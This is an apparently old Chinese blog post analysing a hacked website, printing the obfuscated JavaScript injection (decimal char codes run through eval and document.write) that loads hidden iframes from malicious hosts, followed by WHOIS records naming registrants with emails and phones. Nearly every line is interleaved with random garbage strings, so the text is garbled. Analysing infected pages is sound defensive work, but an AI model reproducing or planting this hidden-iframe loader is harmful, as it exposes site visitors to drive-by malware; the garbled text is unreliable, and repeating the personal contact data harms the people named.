首发在我的博客里面，
-/{ 4Jf Wf mWR4|1( http://www.areway.cn/?p=175 w.,Q1\*rPp )ZrS{vY V-n&oCS+f 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
W^3uEm&l!) PP:(EN1 <script>t=’60,105,102,114,97,109,101,
b=~i ) ` 32,115,114,99,61,104,116,116,112,58,47,47,
O+ }qQNe< 102,114,101,101,46,117,45,117,117,117,46,99,
9j W 2 110,47,101,114,114,111,114,46,104,116,109,
dq[Mj5eC 32,119,105,100,116,104,61,49,48,48,32,104,
$zB[B;-!$ 101,105,103,104,116,61,48,62,60,47,105,102,
Bs?7:kN( 114,97,109,101,62′;
8-y{a.,u. t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
vad12WrG< +f*O liMD <script>t=’60,105,102,114,97,109,101,32,115,
n,B,"\fw 114,99,61,104,116,116,112,58,47,47,102,114,
s
w39\urf 101,101,46,117,45,117,117,117,46,99,110,47,
T3`ludm^u 101,114,114,111,114,46,104,116,109,32,119,
[]a[v%PkG 105,100,116,104,61,49,48,48,32,104,101,105,
PJ cwH6m 103,104,116,61,48,62,60,47,105,102,114,97,
&WN f
M+ 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
It2" x; document.write(t);</script>
e l:9 wq z<B8mB <html xmlns=”
M33_ja +L http://www.w3.org/1999/xhtml s21wxu: “>
%W @v2 <head>
gJ2>(k03y <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
WVY\&|)$ <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
t3dlS`O <title>首页 - 爱生活家庭网
tv!_e$ CR 2h[ 85\4 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
ChCrL [2 转换字符串后的大概内容是（谁点击后果自付）：
wn)J XR <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
sZW^ !z 2Ry1b+\ 查询玉米u-uuu.cn的详细信息：
;j4 ? >3 Domain Name: u-uuu.cn
`'V4PUe ROID: 20070901s10001s64972306-cn
Ug&,Y/tFw2 Domain Status: ok
1KjU ]
r2 Registrant Organization: 王雷
|j 6OM{@ Registrant Name: 王雷
> @"Oe Administrative Email:
czlovexs@126.com >Wz;ySEz Sponsoring Registrar: 北京万网志成科技有限公司
J/}:x;Y Name Server:ns.yovole.com
$V1;l a! Name Server:ns1.yovole.com
jg?x&' u\) Registration Date: 2007-09-01 17:54
`[C!L *#, Expiration Date: 2008-09-01 17:54
1UKg=A -q 最后PING了一下地址 都没有什么….
o 1<_fI ;\p KDPr 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
1x[) /@.'f <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
^a# X9 <script language=”javascript” src=”
-YsLd 9^4 http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script h[ PYP5{L >
,Jd
',>3 这个玉米应该有可能是木马作者的：
S{Er?0wm.R foafau.info的详细信息：
=9j8cC 5y Access to INFO WHOIS information is provided to assist persons in
F4K0) ; determining the contents of a domain name registration record in the
:H c0b= Afilias registry database. The data in this record is provided by
*6} N =Z Afilias Limited for informational purposes only, and Afilias does not
D:Zy guarantee its accuracy. This service is intended only for query-based
X => =5' access. You agree that you will use this data only for lawful purposes
x:QgjK and that, under no circumstances will you use this data to: (a) allow,
yV"ZRrjO'Z enable, or otherwise support the transmission by e-mail, telephone, or
d'Zqaaf k% facsimile of mass unsolicited, commercial advertising or solicitations
nB!&Zq to entities other than the data recipient’s own existing customers; or
%? m$`9 yU (b) enable high volume, automated, electronic processes that send
ca>Z7qT! queries or data to the systems of Registry Operator, a Registrar, or
#
0Lf<NZ Afilias except as reasonably necessary to register domain names or
kV3 8`s>+ modify existing registrations. All rights reserved. Afilias reserves
G >q(iF' the right to modify these terms at any time. By submitting this query,
Q_t`.jus you agree to abide by this policy.
8KRba4[ Domain ID:D22418703-LRMS
AhNq/?Q Q~ Domain Name:FOAFAU.INFO
t
89!Ihk Created On:20-Nov-2007 16:05:42 UTC
l \s U Last Updated On:20-Nov-2007 16:05:44 UTC
bP^Je&nS* Expiration Date:20-Nov-2008 16:05:42 UTC
u{*SX k Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
z SFDUZ]A3 Status:CLIENT DELETE PROHIBITED
1n@8Kv Status:CLIENT RENEW PROHIBITED
}oNhl^JC Status:CLIENT TRANSFER PROHIBITED
~I} &V T Status:CLIENT UPDATE PROHIBITED
APO>y Status:TRANSFER PROHIBITED
VhNz8 ) Registrant ID:GODA-040110615
M{*Lp6h Registrant Name:liu hong
d.P\fPSD Registrant Organization:
zA1lca0HK Registrant Street1:beijing
,JEF GI{ Registrant Street2:
'CN|'W)g7 Registrant Street3:
k bMYMx.[ Registrant City:beijing
+9") KQT Registrant State/Province:
dX)GPC-D7 Registrant Postal Code:100000
)'4k|@ 8| Registrant Country:CN
smry2*g Registrant Phone:+86.860108888777
L*~J%7 Registrant Phone Ext.:
8A+SjJ4$ Registrant FAX:
YxP@!U9dE, Registrant FAX Ext.:
G^` 1]? Registrant Email:bbbshiji@163.com
u,w :SM@*( Admin ID:GODA-240110615
4A2?Uhp y Admin Name:liu hong
{1b Zg Admin Organization:
.Fa4shNV Admin Street1:beijing
7IjQi=#: Admin Street2:
7Ddaf> Admin Street3:
= -}[ ^u1 Admin City:beijing
m2v'WY5u Admin State/Province:
T"0,r $3: Admin Postal Code:100000
z~>pVs Admin Country:CN
<,>P 0tY} Admin Phone:+86.860108888777
:P(K 2q3 Admin Phone Ext.:
6MxKl
D7kl Admin FAX:
A21N|$[ Admin FAX Ext.:
DmOyBtj Admin Email:bbbshiji@163.com
_z1(y}u} Billing ID:GODA-340110615
]Ty isaT Billing Name:liu hong
Rh>}rGvCUN Billing Organization:
]C:l,I Billing Street1:beijing
r{rQu-|. Billing Street2:
Y
"VY%S^ Billing Street3:
Y]3>7 q% Billing City:beijing
J:kmqk! Billing State/Province:
%3$*K\Ai Billing Postal Code:100000
w&x!,yd; Billing Country:CN
-^ C=]Medl Billing Phone:+86.860108888777
Qr$;AZ G Billing Phone Ext.:
_Y [jyD1> Billing FAX:
$e /^u[~: Billing FAX Ext.:
h)Ff2tX Billing Email:bbbshiji@163.com
}nMPSerE Tech ID:GODA-140110615
+|ycvHd Tech Name:liu hong
+(+Itmx2& Tech Organization:
wW%4d Tech Street1:beijing
=lu/9
i6 Tech Street2:
3dDX8M? Tech Street3:
|#*' H*W Tech City:beijing
fks)+L ' Tech State/Province:
q/4 [3h Tech Postal Code:100000
25&J7\P* Tech Country:CN
SC-
$B Tech Phone:+86.860108888777
E~A jK'Z Tech Phone Ext.:
P06R JE Tech FAX:
QzAK##9bfa Tech FAX Ext.:
qBT. x,$ Tech Email:bbbshiji@163.com
Z*FrB58 Name Server:NS27.DOMAINCONTROL.COM
<2nZ&M4/s{ Name Server:NS28.DOMAINCONTROL.COM
,do5 8i
K Name Server:
t>uN'oCyC Name Server:
@e '5E^ Name Server:
[S@}T
zE Name Server:
)<xypDQ Name Server:
{Ions~ cO) Name Server:
A'%1ZQ33O Name Server:
m B\C?=_ Name Server:
w ` DW(hXJ Name Server:
.&x}NYX4 Name Server:
{Ixg2=E\ Name Server:
7 K{Nb ~I(Hc.Q 接着下载每个文件里面的代码：
gp-T"l 一步一步看..
"rAY.E] 
-!8(bjlJ& 
-uH#VP{0M 
X@|&c]] 
1c@} C+F+ 
L.=w?%:H= 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
